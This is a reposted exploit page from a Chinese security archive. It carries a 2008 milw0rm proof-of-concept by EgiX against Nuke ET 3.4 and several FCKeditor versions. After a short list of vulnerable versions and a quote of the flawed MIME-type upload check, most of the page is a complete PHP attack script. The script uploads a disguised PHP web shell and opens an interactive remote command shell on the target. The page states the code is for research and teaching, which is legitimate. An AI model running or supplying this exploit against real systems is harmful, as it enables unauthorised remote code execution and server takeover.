Nuke ET < = 3.4 (fckeditor) Remote Arbitrary File Upload Exploit 's

admin 2017年4月28日16:24:59评论270 views字数 3962阅读13分12秒阅读模式
摘要

Vulnerable:
Tru-Zone NukeET 3.4
FCKeditor FCKeditor 2.4.3
FCKeditor FCKeditor 2.0 rc3
FCKeditor FCKeditor 2.0 RC2
FCKeditor FCKeditor 2.3 beta
FCKeditor FCKeditor 2.2

Vulnerable:
Tru-Zone NukeET 3.4
FCKeditor FCKeditor 2.4.3
FCKeditor FCKeditor 2.0 rc3
FCKeditor FCKeditor 2.0 RC2
FCKeditor FCKeditor 2.3 beta
FCKeditor FCKeditor 2.2

<?php  /*  ---------------------------------------------------------------  Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit  ---------------------------------------------------------------   author...: EgiX  mail.....: n0b0d13s[at]gmail[dot]com   link.....: http://www.truzone.org/   This PoC was written for educational purpose. Use it at your own risk.  Author will be not responsible for any damage.   [-] vulnerable code in /nuke/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php   147. function FileUpload( $resourceType, $currentFolder )  148. {  149.  $sErrorNumber = '0' ;  150.  $sFileName = '' ;  151.  152.  if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )  153.  {  154.   $oFile = $_FILES['NewFile'] ;  155.  156.   // Map the virtual path to the local server path.  157.   $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;  158.  159.   // Get the uploaded file name.  160.   $sFileName = $oFile['name'] ;  161.   $sOriginalFileName = $sFileName ;  162.   // Security fix by truzone 01-15-2006  163.   //$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;  164.   //$sExtension = strtolower( $sExtension ) ;  165.  166.   if(extension_loaded("mime_magic")){  167.   $sExtension = mime_content_type($oFile['tmp_name']);  168.   }else{  169.   $sExtension = $oFile['type'];  170.   }  171.   // en of security fix by truzone 01-15-2006  172.   global $Config ;  173.  174.   $arAllowed = $Config['AllowedExtensions'][$resourceType] ;  175.   $arDenied = $Config['DeniedExtensions'][$resourceType] ;   An attacker might be able to upload arbitrary files containing malicious PHP code due to the code  near lines 166-170 will check only the MIME type of the upload request, that can be easily spoofed! */  error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5);  define(STDIN, fopen("php://stdin", "r"));  function http_send($host, $packet) {  $sock = fsockopen($host, 80);  while (!$sock)  {   print "/n[-] No response from {$host}:80 Trying again...";   $sock = fsockopen($host, 80);  }  fputs($sock, $packet);  while (!feof($sock)) $resp .= fread($sock, 1024);  fclose($sock);  return $resp; }  function connector_response($html) {  return (preg_match("/OnUploadCompleted/((/d),/"(.*)/"/)/", $html, $match) && in_array($match[1], array(0, 201))); }  print "/n+------------------------------------------------------------------+"; print "/n| Nuke ET <= 3.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |"; print "/n+------------------------------------------------------------------+/n";  if ($argc < 3) {  print "/nUsage......: php $argv[0] host path";  print "/nExample....: php $argv[0] localhost /";  print "/nExample....: php $argv[0] localhost /nukeet//n";  die(); }  $host = $argv[1]; $path = ereg_replace("(/){2,}", "/", $argv[2]);  $filename  = md5(time()).".php"; $connector = "FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";  $payload  = "--o0oOo0o/r/n"; $payload .= "Content-Disposition: form-data; name=/"NewFile/"; filename=/"{$filename}/"/r/n"; $payload .= "Content-Type: application/zip/r/n/r/n"; $payload .= "PK/003/004<?php error_reporting(0);print(/"_code_//n/");passthru(base64_decode(/$_SERVER[HTTP_CMD])); ?>/n"; $payload .= "--o0oOo0o--/r/n";  $packet  = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0/r/n"; $packet .= "Host: {$host}/r/n"; $packet .= "Content-Length: ".strlen($payload)."/r/n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o/r/n"; $packet .= "Connection: close/r/n/r/n"; $packet .= $payload;  if (!connector_response(http_send($host, $packet))) die("/n[-] Upload failed!/n"); else print "/n[-] Shell uploaded to {$filename}...starting it!/n";  $path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root   $packet  = "GET {$path}{$filename} HTTP/1.0/r/n"; $packet .= "Host: {$host}/r/n"; $packet .= "Cmd: %s/r/n"; $packet .= "Connection: close/r/n/r/n";  while(1) {  print "/nnukeet-shell# ";  $cmd = trim(fgets(STDIN));  if ($cmd != "exit")  {   $response = http_send($host, sprintf($packet, base64_encode($cmd)));   preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("/n[-] Exploit failed.../n");  }  else break; }  ?>

# milw0rm.com [2008-10-18]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月28日16:24:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nuke ET < = 3.4 (fckeditor) Remote Arbitrary File Upload Exploit 'shttps://cn-sec.com/archives/45698.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息